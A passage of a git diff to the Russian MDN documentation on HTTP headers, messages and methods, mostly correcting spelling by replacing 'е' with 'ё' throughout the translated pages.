"логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/http/headers/retry-after/index.html b/files/ru/web/http/headers/retry-after/index.html index 75b793195e..6161a8dbee 100644 --- a/files/ru/web/http/headers/retry-after/index.html +++ b/files/ru/web/http/headers/retry-after/index.html @@ -42,7 +42,7 @@ Retry-After: <delay-seconds> <dl> <dt><http-date></dt> - <dd>Дата, после которой пытаться еще раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.</dd> + <dd>Дата, после которой пытаться ещё раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.</dd> <dt><delay-seconds></dt> <dd>Неотрицательное число секунд, показывающее время ожидания перед новым запросом.</dd> </dl> @@ -51,7 +51,7 @@ Retry-After: <delay-seconds> <h3 id="Работа_с_запланированным_временем_простоя">Работа с запланированным временем простоя</h3> -<p>Поддержка <code>Retry-After</code> реализована еще не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок <code>Retry-After</code>. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя</p> +<p>Поддержка <code>Retry-After</code> реализована ещё не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок <code>Retry-After</code>. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя</p> <pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT Retry-After: 120 diff --git a/files/ru/web/http/headers/set-cookie/index.html b/files/ru/web/http/headers/set-cookie/index.html index 1898f6cf56..90c65266d9 100644 --- a/files/ru/web/http/headers/set-cookie/index.html +++ b/files/ru/web/http/headers/set-cookie/index.html @@ -63,14 +63,14 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> <dd>Cookie начинается с пары имя-значение: <ul> <li><code><cookie-name></code> может содержать любые символы US-ASCII, за исключением управляющих символов (CTLs), пробелов, или табуляций. Оно также не должно содержать разделительных символов, таких как следующие: <code>( ) < > @ , ; : \ " / [ ] ? = { }</code>.</li> - <li><code><cookie-value></code> может быть опционально заключено в двойные кавычки, разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слеша. <strong>Кодирование:</strong> Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC. Однако, это помогает удовлетворить требование о разрешенных символах в <cookie-value>.</li> - <li><strong><code>__Secure-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code> __Secure-</code> (подчеркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).</li> - <li><strong><code>__Host-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code>__Host-</code> должны быть установлены с флагом secure <code>secure</code>, должны быть с безопасной страницы (HTTPS), не должны иметь определенный домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".</li> + <li><code><cookie-value></code> может быть опционально заключено в двойные кавычки, разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слеша. <strong>Кодирование:</strong> Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC. Однако, это помогает удовлетворить требование о разрешённых символах в <cookie-value>.</li> + <li><strong><code>__Secure-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code> __Secure-</code> (подчёркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).</li> + <li><strong><code>__Host-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code>__Host-</code> должны быть установлены с флагом secure <code>secure</code>, должны быть с безопасной страницы (HTTPS), не должны иметь определённый домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".</li> </ul> </dd> <dt><code>Expires=<date></code> {{optional_inline}}</dt> <dd> - <p>Максимальное время жизни cookie в формате метки даты-времени HTTP. См. {{HTTPHeader("Date")}} о деталях формата Если не определен, cookie будет иметь время жизни <strong>сессионного cookie. </strong>Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.</p> + <p>Максимальное время жизни cookie в формате метки даты-времени HTTP. См. {{HTTPHeader("Date")}} о деталях формата Если не определён, cookie будет иметь время жизни <strong>сессионного cookie. </strong>Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.</p> <p>Когда устанавливается срок действия, время и дата устанавливаются не относительно сервера, а относительно клиента, на котором установлено cookie,</p> </dd> @@ -86,7 +86,7 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> <dt><code>Path=<path-value></code> {{optional_inline}}</dt> <dd>Путь, который должен существовать в запрошенном URL, иначе браузер не отправит заголовок Cookie.</dd> <dd>Пример: <code>/</code> - cookie будет отправляться со всеми запросами<br> - Пример: <code>/docs/</code> - cookie будет отправляться с запросами к директории docs и ее поддиректориям</dd> + Пример: <code>/docs/</code> - cookie будет отправляться с запросами к директории docs и её поддиректориям</dd> <dt><code>Secure</code> {{optional_inline}}</dt> <dd>Cookie будет отправлен на сервер только с запросами c использованием SSL и протокола HTTPS.<br> <br> @@ -124,14 +124,14 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> <h3 id="Постоянный_cookie">Постоянный cookie</h3> -<p>Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определенную дату (<code>Expires</code>) или по истечении определенного промежутка времени (<code>Max-Age</code>).</p> +<p>Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определённую дату (<code>Expires</code>) или по истечении определённого промежутка времени (<code>Max-Age</code>).</p> <pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly </pre> <h3 id="Неверные_домены">Неверные домены</h3> -<p>Файл cookie, принадлежащий домену, который не включает исходный сервер, <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">должен быть отклонен пользовательским</a>. Следующий cookie будет отклонен, если он был установлен сервером, размещенным на originalcompany.com.</p> +<p>Файл cookie, принадлежащий домену, который не включает исходный сервер, <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">должен быть отклонён пользовательским</a>. Следующий cookie будет отклонён, если он был установлен сервером, размещённым на originalcompany.com.</p> <pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre> diff --git a/files/ru/web/http/headers/strict-transport-security/index.html b/files/ru/web/http/headers/strict-transport-security/index.html index b4c6271a82..d5fa694237 100644 --- a/files/ru/web/http/headers/strict-transport-security/index.html +++ b/files/ru/web/http/headers/strict-transport-security/index.html @@ -6,7 +6,7 @@ original_slug: Web/HTTP/Заголовки/Strict-Transport-Security --- <div>{{HTTPSidebar}}</div> -<p><strong>HTTP <code>Strict-Transport-Security</code></strong> - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлен только посредством HTTPS вместо HTTP.</p> +<p><strong>HTTP <code>Strict-Transport-Security</code></strong> - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлён только посредством HTTPS вместо HTTP.</p> <table class="properties"> <tbody> @@ -41,7 +41,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload <h2 id="Описание">Описание</h2> -<p>Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищенной версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищенной версии оригинального сайта.</p> +<p>Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищённой версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищённой версии оригинального сайта.</p> <p>HTTP Strict Transport Security заголовок сообщает браузеру, что тот никогда не должен загружать сайт через HTTP и всегда должен автоматически конвертировать все попытки доступа к сайту с помощью HTTP в HTTPS.</p> @@ -53,7 +53,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload <p>Strict Transport Security разрешает эту проблему; пока вы подключены к вашему банковскому сайту с помощью HTTPS и тот использует Strict Transport Security, ваш браузер знает, что должен автоматически использовать только HTTPS, который не позволяет хакерам производить подобные атаки посредников.</p> -<h3 id="Как_ведет_себя_браузер">Как ведет себя браузер</h3> +<h3 id="Как_ведёт_себя_браузер">Как ведёт себя браузер</h3> <p>При первом доступе к сайту с помощью HTTPS и возврате <code>Strict-Transport-Security</code> заголовка, браузер сохраняет эту информацию, чтобы в дальнейшем при загрузке сайта через HTTP тот автоматически использовал HTTPS.</p> @@ -63,7 +63,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload <h2 id="Предзагрузка_Strict_Transport_Security">Предзагрузка Strict Transport Security</h2> -<p>Google поддерживает<a href="https://hstspreload.org/"> HSTS preload service</a>. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищенное соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.</p> +<p>Google поддерживает<a href="https://hstspreload.org/"> HSTS preload service</a>. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищённое соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.</p> <ul> <li>Информация о списке HSTS предзагрузки в Chrome : <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li> diff --git a/files/ru/web/http/headers/vary/index.html b/files/ru/web/http/headers/vary/index.html index 25d269b056..b0b114d3e3 100644 --- a/files/ru/web/http/headers/vary/index.html +++ b/files/ru/web/http/headers/vary/index.html @@ -35,7 +35,7 @@ Vary: <header-name>, <header-name>, ... <dt>*</dt> <dd>Каждый запрос должен рассматриваться как уникальный и не кэшируемый. Лучший способ указать это - использовать {{HTTPHeader ("Cache-Control")}}: <code>no-store</code>, который удобнее для чтения и также сигнализирует о том, что объект не должен храниться никогда.</dd> <dt><header-name></dt> - <dd>Разделенный запятыми список имен заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.</dd> + <dd>Разделённый запятыми список имён заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.</dd> </dl> <h2 id="Examples">Examples</h2> diff --git a/files/ru/web/http/headers/x-content-type-options/index.html b/files/ru/web/http/headers/x-content-type-options/index.html index 7271e86cd1..e037d5435d 100644 --- a/files/ru/web/http/headers/x-content-type-options/index.html +++ b/files/ru/web/http/headers/x-content-type-options/index.html @@ -13,7 +13,7 @@ original_slug: Web/HTTP/Заголовки/X-Content-Type-Options <p><span class="tlid-translation translation" lang="ru"><span title="">HTTP-заголовок ответа</span></span> <code><strong>X-Content-Type-Options</strong></code> <span class="tlid-translation translation" lang="ru"><span title="">является маркером, используемым сервером для указания того, что типы MIME, объявленные в заголовках {{HTTPHeader ("Content-Type")}}, должны соблюдаться и не изменяться.</span></span> Это позволяет отказаться от <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">перехвата MIME</a>, или, другими словами, <span class="tlid-translation translation" lang="ru"><span title="">это способ сказать, что веб-мастера знали, что они делают.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Этот HTTP-заголовок был введен Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME.</span> <span title="">С тех пор другие браузеры внедрили его, даже если их алгоритмы обработки MIME были менее агрессивными.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Этот HTTP-заголовок был введён Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME.</span> <span title="">С тех пор другие браузеры внедрили его, даже если их алгоритмы обработки MIME были менее агрессивными.</span></span></p> <p><span class="tlid-translation translation" lang="ru"><span title="">Тестеры безопасности сайта обычно ожидают, что этот заголовок будет установлен.</span></span></p> diff --git a/files/ru/web/http/headers/x-forwarded-for/index.html b/files/ru/web/http/headers/x-forwarded-for/index.html index 337bdaaacd..a8b990579c 100644 --- a/files/ru/web/http/headers/x-forwarded-for/index.html +++ b/files/ru/web/http/headers/x-forwarded-for/index.html @@ -16,7 +16,7 @@ original_slug: Web/HTTP/Заголовки/X-Forwarded-For <p>Стандартизованной версией этого заголовка является HTTP {{HTTPHeader("Forwarded")}} заголовок.</p> -<p><code>X-Forwarded-For</code> также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учетной записи.</p> +<p><code>X-Forwarded-For</code> также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учётной записи.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/http/headers/x-xss-protection/index.html b/files/ru/web/http/headers/x-xss-protection/index.html index 442fe6ab95..7bc5ec770b 100644 --- a/files/ru/web/http/headers/x-xss-protection/index.html +++ b/files/ru/web/http/headers/x-xss-protection/index.html @@ -22,7 +22,7 @@ original_slug: Web/HTTP/Заголовки/X-XSS-Protection </tr> <tr> <th scope="row"> - <p>Запрещенное имя заголовка</p> + <p>Запрещённое имя заголовка</p> <p>{{Glossary("Forbidden header name")}}</p> </th> diff --git a/files/ru/web/http/index.html b/files/ru/web/http/index.html index aec0b6c893..b1708e5627 100644 --- a/files/ru/web/http/index.html +++ b/files/ru/web/http/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP --- <p>{{HTTPSidebar}}</p> -<p class="summary"><strong>Протокол передачи гипертекста (<dfn>Hypertext Transfer Protocol - HTTP)</dfn></strong> - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B_%D0%BF%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D1%8F">прикладной протокол</a> для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%B5%D0%BD%D1%82-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">клиент-серверной модели</a>, когда клиент открывает соединение для создания запроса, а затем ждет ответа. HTTP - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%B1%D0%B5%D0%B7_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F">протокол без сохранения состояния</a>, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол <a href="https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%BD%D1%8B%D0%B9_%D1%83%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C">транспортного уровня</a> с гарантированной доставкой.</p> +<p class="summary"><strong>Протокол передачи гипертекста (<dfn>Hypertext Transfer Protocol - HTTP)</dfn></strong> - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B_%D0%BF%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D1%8F">прикладной протокол</a> для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%B5%D0%BD%D1%82-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">клиент-серверной модели</a>, когда клиент открывает соединение для создания запроса, а затем ждёт ответа. HTTP - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%B1%D0%B5%D0%B7_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F">протокол без сохранения состояния</a>, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол <a href="https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%BD%D1%8B%D0%B9_%D1%83%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C">транспортного уровня</a> с гарантированной доставкой.</p> <div class="column-container"> <div class="column-half"> @@ -69,7 +69,7 @@ translation_of: Web/HTTP </ul> <span class="hidden"> </span><span class="hidden"> </span></dd> <dt><a href="/en-US/docs/Web/HTTP/Status">Коды ответа (HTTP response codes)</a></dt> - <dd>Коды ответа HTTP указывают на результат выполнения определенного HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.</dd> + <dd>Коды ответа HTTP указывают на результат выполнения определённого HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.</dd> <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Директивы CSP</a></dt> <dd>Поля заголовка ответа {{HTTPHeader("Content-Security-Policy")}} позволяют администраторам веб-сайтов контролировать ресурсы, которые браузер пользователя может загрузить на данную веб-страницу. За некоторым исключением, эти политики связаны с указанием сервера-источника и адресов доступа (обращения) скриптов.</dd> </dl> diff --git a/files/ru/web/http/messages/index.html b/files/ru/web/http/messages/index.html index e41f8ceecf..2b63856539 100644 --- a/files/ru/web/http/messages/index.html +++ b/files/ru/web/http/messages/index.html @@ -36,7 +36,7 @@ translation_of: Web/HTTP/Messages <h3 id="Стартовая_строка">Стартовая строка</h3> -<p>HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трех элементов:</p> +<p>HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трёх элементов:</p> <ol> <li> @@ -44,7 +44,7 @@ translation_of: Web/HTTP/Messages </li> <li><em>Цель запроса</em>, обычно {{glossary("URL")}}, или абсолютный путь протокола, порт и домен обычно характеризуются контекстом запроса. Формат цели запроса зависит от используемого HTTP-метода. Это может быть <ul> - <li>Абсолютный путь, за которым следует <code>'?'</code> и строка запроса. Это самая распространенная форма, называемая <em>исходной формой</em> (<em>origin form</em>) . Используется с методами <code>GET</code>, <code>POST</code>, <code>HEAD</code>, и <code>OPTIONS</code>.<br> + <li>Абсолютный путь, за которым следует <code>'?'</code> и строка запроса. Это самая распространённая форма, называемая <em>исходной формой</em> (<em>origin form</em>) . Используется с методами <code>GET</code>, <code>POST</code>, <code>HEAD</code>, и <code>OPTIONS</code>.<br> <code>POST / HTTP 1.1<br> GET /background.png HTTP/1.0<br> HEAD /test.html?query=alibaba HTTP/1.1<br> @@ -53,7 +53,7 @@ translation_of: Web/HTTP/Messages <code>GET http://developer.mozilla.org/ru/docs/Web/HTTP/Messages HTTP/1.1</code></li> <li>Компонента URL "authority", состоящая из имени домена и (необязательно) порта (предваряемого символом <code>':'</code>), <em>называется authority form</em>. Используется только с методом <code>CONNECT</code> при установке туннеля HTTP.<br> <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li> - <li>Форма звездочки (<em>asterisk form)</em>, просто "звездочка" (<code>'*'</code>) используется <code>с методом OPTIONS</code> и представляет сервер.<br> + <li>Форма звёздочки (<em>asterisk form)</em>, просто "звёздочка" (<code>'*'</code>) используется <code>с методом OPTIONS</code> и представляет сервер.<br> <code>OPTIONS * HTTP/1.1</code></li> </ul> </li> @@ -133,7 +133,7 @@ translation_of: Web/HTTP/Messages <ul> <li>Заголовки, в отличие от тел, не сжимаются.</li> <li>Заголовки, которые зачастую практически совпадают у идущих подряд сообщений, приходится передавать по отдельности.</li> - <li>Мультиплексность невозможна. Приходится открывать соединение для каждого сообщения, а теплые (warm) соединения TCP эффективнее холодных (cold).</li> + <li>Мультиплексность невозможна. Приходится открывать соединение для каждого сообщения, а тёплые (warm) соединения TCP эффективнее холодных (cold).</li> </ul> <p>HTTP/2 переходит на новый уровень: он делит сообщения HTTP/1.x на фреймы, которые внедряются в поток. Фреймы данных из заголовков отделены друг от друга, что позволяет сжимать заголовки. Несколько потоков можно объединять друг с другом - такой процесс называется мультиплексированием - что позволяет более эффективно использовать TCP-соединения.</p> @@ -144,4 +144,4 @@ translation_of: Web/HTTP/Messages <h2 id="Заключение">Заключение</h2> -<p>Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет еще один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создается надстройка над уже зарекомендовавшими себя методами.</p> +<p>Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет ещё один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создаётся надстройка над уже зарекомендовавшими себя методами.</p> diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html index 755ffb6f10..21693bb37a 100644 --- a/files/ru/web/http/methods/connect/index.html +++ b/files/ru/web/http/methods/connect/index.html @@ -70,7 +70,7 @@ Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> <h2 id="Совместимость_с_браузером"><span class="short_text" id="result_box" lang="ru"><span>Совместимость с браузером</span></span></h2> -<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создается из структурированных данных.</span> <span>Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</span></span></p> +<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создаётся из структурированных данных.</span> <span>Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</span></span></p> <p>{{Compat("http.methods.CONNECT")}}</p> diff --git a/files/ru/web/http/methods/delete/index.html b/files/ru/web/http/methods/delete/index.html index e263d3c2e0..912bdd96e1 100644 --- a/files/ru/web/http/methods/delete/index.html +++ b/files/ru/web/http/methods/delete/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTTP/Methods/DELETE <p>Если метод <code>DELETE</code> успешно выполняется, то возможны следующие коды состояния ответа:</p> <ul> - <li> {{HTTPStatus("202")}} (<code>Accepted</code>) код состояния, если удаление будет успешным, но еще не выполнено.</li> + <li> {{HTTPStatus("202")}} (<code>Accepted</code>) код состояния, если удаление будет успешным, но ещё не выполнено.</li> <li> {{HTTPStatus("204")}} (<code>No Content</code>) код ответа, если удаление было выполнено, но тело ответа отсутствует.</li> <li> {{HTTPStatus("200")}} (<code>OK</code>) код ответа, если удаление было выполнено, и ответ содержит код и объект описывающий состояние.</li> </ul> diff --git a/files/ru/web/http/methods/options/index.html b/files/ru/web/http/methods/options/index.html index a6f1d95b77..48dbde81de 100644 --- a/files/ru/web/http/methods/options/index.html +++ b/files/ru/web/http/methods/options/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Methods/OPTIONS --- <div>{{HTTPSidebar}}</div> -<p><strong>HTTP-метод</strong><strong> <code>OPTIONS</code> </strong>используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (звездочку) чтобы указать весь сервер целиком.</p> +<p><strong>HTTP-метод</strong><strong> <code>OPTIONS</code> </strong>используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (звёздочку) чтобы указать весь сервер целиком.</p> <table class="properties"> <tbody> @@ -48,7 +48,7 @@ OPTIONS * HTTP/1.1 <h2 id="Примеры">Примеры</h2> -<h3 id="Определение_разрешенных_сервером_методов_запроса">Определение разрешенных сервером методов запроса</h3> +<h3 id="Определение_разрешённых_сервером_методов_запроса">Определение разрешённых сервером методов запроса</h3> <p>Для того, чтобы узнать какие методы запросов поддерживаются сервером, можно воспользоваться curl направить OPTIONS запрос:</p> diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html index bbf8a73ad6..63c8ce82aa 100644 --- a/files/ru/web/http/methods/patch/index.html +++ b/files/ru/web/http/methods/patch/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTTP/Methods/PATCH <p>Чтобы обозначить, что сервер поддерживает <code>PATCH</code>, можно добавить этот метод в список заголовков ответа {{HTTPHeader("Allow")}} или {{HTTPHeader("Access-Control-Allow-Methods")}} (для CORS).</p> -<p>Другой (неявный) индикатор, что <code>PATCH</code> разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает измененные документы.</p> +<p>Другой (неявный) индикатор, что <code>PATCH</code> разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает изменённые документы.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/http/methods/post/index.html b/files/ru/web/http/methods/post/index.html index 5e0778692d..697b705b8f 100644 --- a/files/ru/web/http/methods/post/index.html +++ b/files/ru/web/http/methods/post/index.html @@ -11,12 +11,12 @@ translation_of: Web/HTTP/Methods/POST <p><strong>HTTP-метод <code>POST</code></strong> предназначен для отправки данных на сервер. Тип тела запроса указывается в заголовке {{HTTPHeader("Content-Type")}}.</p> -<p>Разница между {{HTTPMethod("PUT")}} и <code>POST</code> состоит в том, что <code>PUT</code> является идемпотентным: повторное его применение дает тот же результат, что и при первом применении (то есть у метода нет <em>побочных эффектов</em>), тогда как повторный вызов одного и того же метода <code>POST</code> может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.</p> +<p>Разница между {{HTTPMethod("PUT")}} и <code>POST</code> состоит в том, что <code>PUT</code> является идемпотентным: повторное его применение даёт тот же результат, что и при первом применении (то есть у метода нет <em>побочных эффектов</em>), тогда как повторный вызов одного и того же метода <code>POST</code> может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.</p> -<p><span id="result_box" lang="ru"><span title="A POST request is typically sent via an HTML form and results in a change on the server.">Запрос <code>POST</code> обычно отправляется через форму HTML и приводит к изменению на сервере. </span><span title="In this case, the content type is selected by putting the adequate string in the enctype attribute of the <form> element or the formenctype attribute of the <input> or <button> elements:">В этом случае тип содержимого выбирается путем размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:</span></span></p> +<p><span id="result_box" lang="ru"><span title="A POST request is typically sent via an HTML form and results in a change on the server.">Запрос <code>POST</code> обычно отправляется через форму HTML и приводит к изменению на сервере. </span><span title="In this case, the content type is selected by putting the adequate string in the enctype attribute of the <form> element or the formenctype attribute of the <input> or <button> elements:">В этом случае тип содержимого выбирается путём размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:</span></span></p> <ul> - <li><span title="application/x-www-form-urlencoded: the values are encoded in key-value tuples separated by '&', with a '=' between the key and the value."><code>application/x-www-form-urlencoded</code>: значения кодируются в кортежах с ключом, разделенных символом <code>'&'</code>, с <code>'='</code> между ключом и значением. </span><span title="Non-alphanumeric characters are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead)">Не буквенно-цифровые символы - {{glossary ("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте <code>multipart/form-data</code>)</span></li> + <li><span title="application/x-www-form-urlencoded: the values are encoded in key-value tuples separated by '&', with a '=' between the key and the value."><code>application/x-www-form-urlencoded</code>: значения кодируются в кортежах с ключом, разделённых символом <code>'&'</code>, с <code>'='</code> между ключом и значением. </span><span title="Non-alphanumeric characters are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead)">Не буквенно-цифровые символы - {{glossary 